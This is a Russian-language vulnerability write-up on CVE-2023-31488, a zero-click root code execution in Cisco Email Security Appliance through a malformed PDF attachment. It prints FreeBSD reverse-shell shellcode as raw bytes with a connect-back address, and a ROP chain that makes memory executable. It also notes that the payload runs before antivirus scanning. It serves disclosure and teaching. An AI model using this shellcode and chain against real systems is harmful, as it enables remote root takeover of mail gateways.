Cisco Email Security Appliance: от письма до zero-click RCE с правами root — удалённое выполнение кода / повреждение памяти / ROP-цепочка
Исследователь безопасности: ly1g3, ly1g3[at]tuta.io
Отпечаток GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Обзор: zero-click RCE через email с правами root - удалённое выполнение кода / повреждение памяти / ROP-цепочка
CVE: CVE-2023-31488
Хронология:
Во время фаззинга Cisco Email Security Appliance (ESA) я обнаружил уязвимость в Lexmark Perceptive Filters, используемых ESA для санитизации данных почтовых вложений, что приводит к RCE через email. Сбой возникает при разборе модифицированного PDF-вложения. Путём изменения двузначного ID объекта PDF, например:
Например:
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Изменение части ID с 13 на что-то другое (например, пробел) приводит к:
1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Отправка этого модифицированного PDF в письме на Cisco ESA вызывает крах с ошибкой сегментации в libISYSpdf6.so. Сбой происходит из-за того, что r14 содержит ASCII-данные.
Более детальное изучение показывает, что эти данные берутся из содержимого PDF-вложения, находящегося под нашим контролем. Значение r14 — это Rect.
![]()
Тестирование при изменении Rect на AAAA.
Поскольку значение r14 загружается из данных PDF, мы можем изменить его так, чтобы оно указывало на допустимый адрес памяти. После этой корректировки происходит ещё один сбой из-за недопустимых данных в RAX. Эти данные также являются ASCII из PDF.
Мы модифицируем PDF так, чтобы rax также указывал на реальный адрес, и продолжаем дальше.

Происходит новый сбой; теперь rsi содержит ASCII-данные из PDF.

Мы снова модифицируем PDF, чтобы загрузить реальный адрес памяти.
Наконец, мы доходим до очень интересного фрагмента кода. Здесь мы контролируем rdi, который используется для загрузки значения в rax. Финальная инструкция в этой последовательности — call rax. Теперь мы делаем хорошие успехи на пути к возможности выполнения кода.
Снова заходим в hex-редактор и изменяем значение, загружаемое в rdi.

Теперь у нас есть возможность ограниченного выполнения кода, и мы можем перейти на один адрес. Поскольку ASLR отсутствует, находить адреса памяти легко. Мы также контролируем rdi и поэтому используем начальный ROP-гаджет libISYSshared.so: push rdi; pop rsp; xor eax, , чтобы переместить rdi в rsp и управлять стеком. Мы направляем стек на область, которую контролируем в регионе памяти PDF, где подготовлен собственный стек с дополнительными ROP-гаджетами.

Shellcode обратной оболочки FreeBSD, сгенерированный msfvenom, размещается в регионе памяти PDF. Но поскольку память не исполняемая, сначала нам нужно сделать её исполняемой.
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
Поскольку на этом этапе мы контролируем стек, это можно сделать с помощью следующей ROP-цепочки для вызова mmap и установки области памяти shellcode как RWX.
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
После вызова mmap call rsp; выполнит NOP-слайд нашего shellcode, поскольку адрес shellcode находится следующим в нашем собственном стеке. Shellcode — это обратная оболочка, сгенерированная msfvenom.
Интересная особенность: этот код выполняется до любых статических антивирусных проверок, поэтому стандартная обратная оболочка Metasploit будет работать без проблем.
Мы можем использовать POC ниже для создания рабочего PDF. После этого мы просто отправляем его по email на ESA и получаем RCE. По поводу повышения привилегий смотрите мои другие уязвимости.
И таким образом мы получаем удалённую оболочку на ESA:
Это был увлекательный проект, который многому меня научил в области уязвимостей повреждения памяти. Он также демонстрирует, насколько хорошей защитой является «современная» защита памяти, такая как ASLR, но также и то, что до сих пор можно найти системы без ASLR.
Атака переполнением на ESA (Cisco Secure Email). Удалённое выполнение кода с правами root.
Отправка специально созданного PDF-файла вызывает переполнение, которое позволяет атакующему получить произвольное удалённое выполнение кода на ESA и других продуктах, использующих Lexmark Perceptive Filters.
Эта атака переполнением позволяет атакующему получить контроль над инструкцией call rax, что делает тривиальным переход к произвольному выполнению кода, поскольку на ESA не используется ASLR. Код будет выполняться с правами root.